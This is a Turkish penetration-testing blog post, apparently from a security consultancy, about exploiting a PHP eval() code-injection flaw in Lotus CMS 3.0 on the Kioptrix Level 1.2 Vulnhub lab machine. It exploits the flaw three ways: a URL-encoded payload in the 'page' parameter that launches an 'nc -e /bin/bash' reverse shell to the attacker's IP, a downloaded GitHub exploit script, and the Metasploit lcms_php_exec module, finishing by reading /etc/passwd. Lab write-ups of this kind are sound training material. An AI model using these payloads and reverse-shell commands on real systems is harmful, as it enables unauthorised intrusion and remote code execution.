Lotus CMS Uzaktan Kod Çalıştırma Zafiyetinin İstismarı

0
952
views
Web uygulamaları sızma testleri sırasında kullanılan platformalar istismar edilebilir. Bu yazıda, web hizmeti veren Kioptrix (Seviye – 1.2[#3]) sanal makinesindeki Lotus CMS üzerindeki uzaktan kod çalıştırma zafiyeti istismar edilerek Web servisini çalıştıran kullanıcı hesabının (www-data) hakları ile komut satırı erişimi elde edilecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan Kioptrix: Seviye – 1.2 (#3) sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

Web uygulamasının kaynak kodlarına bakıldığında Lotus CMS kullanıldığına dair bir ipucu görülmektedir.

 

whatweb” aracı ile de Lotus CMS kullanılmış olabileceği görülmektedir.

whatweb 10.10.2.179

 

Lotus CMS üzerindeki zafiyetlerin istismarı için Google’da araştırma yapıldığında 2 bağlantıya yönlendirilmektedir.

 

Mevcut zafiyet LotusCMS 3.0‘daki Router() fonksiyonunda bulunmaktadır. “page” parametresine verilen PHP kodu bir kontrolden geçmeden eval() fonksiyonuna gönderilmektedir.

 

1) Manuel Olarak Lotus CMS İstismarı

URL’e hata verdirmek için tırnak işareti atıldığında eval() fonksiyonunun beklenmediği bir veri ile karşılaştığı görülmektedir.

http://10.10.2.179/index.php?page=index’
Warning: Unexpected character in input: ”’ (ASCII=39) state=1 in /home/www/kioptrix3.com/core/lib/router.php(26) : eval()’d code on line 1

 

LotusCMS üzerinde zafiyetin mevcudiyetinin keşfi için basit bir test ifadesi ekrana yazdırılır.

page=index’);${print(‘MERHABA’)};#
http://10.10.2.179/index.php?page=index%27%29%3B%24%7Bprint%28%27MERHABA%27%29%7D%3B%23

 

Sonra da ekrana yazı yazdırmak yerine herhangi bir komut çalıştırılabilir. Örneğin, ters bağlantı sağlayacak bir “nc” talebi başlatılabilir.

Öncelikle bu talebi yakayacak bir dinleyici başlatılır.

nc -nlvp 9443

 

Sonra da “nc” başlatılarak dinleyiciye ters bağlantı talebinde bulunulur.

page=index’);${system(‘nc -e /bin/bash 10.10.2.128 9443’)};#”
http://10.10.2.179/index.php?page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fbash%2010.10.2.128%209443%27%29%7D%3B%23%22

 

2) Github’dan İndirilen Bash Betiği ile Lotus CMS İstismarı

Tespit edilen Github linkindeki istismar kodu indirildiğinde, bash betiğinin kullanımı görülmektedir.

wget https://raw.githubusercontent.com/Hood3dRob1n/LotusCMS-Exploit/master/lotusRCE.sh
head -20 lotusRCE.sh

 

Betik çalıştırılabilir hale getirildikten sonra çalıştırılır.

ls -la lotusRCE.sh
chmod 744 lotusRCE.sh
./lotusRCE.sh 10.10.2.179 /

 

“/” dizininde PHP kod enjeksiyonu zafiyetinin olduğu görülmektedir.

 

Ters bağlantının sağlanacağı IP ve port bilgisi belirtilir.

 

Dinleyici başlatılır.

nc -nlvp 8443

 

Bağlantı yöntemi (nc -e) seçimi yapıldığında ters bağlantı edilmiş olur.

id
uname -a

 

3) MSF lcms_php_exec Modülü İle Lotus CMS İstismarı

searchsploit” ile Lotus CMS zafiyetleri araştırıldığında bir ruby kodu tespit edilir.

searchsploit lotuscms

 

MSF lcms_php_exec istismar modülü seçilir.

search LotusCMS
use exploit/multi/http/lcms_php_exec
show options

 

IP ve URI ayarı yapılarak istismar gerçekleştirilir.

set RHOST 10.10.2.179
set URI /
exploit
getuid
shell
uname -a
tail -3 /etc/passwd

Belirtilen zafiyetin bulunduğu diğer sanal ortamlardan bazıları aşağıdaki gibidir:

  • Typhoon: 1.02: https://www.vulnhub.com/entry/typhoon-102,267/

 

 

Kaynak:

https://kongwenbin.wordpress.com/2016/10/30/writeup-for-kioptrix-level-1-2-3/

Kioptrix Level 3


https://www.doyler.net/security-not-included/kioptrix-level-1-2-3-walkthrough

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.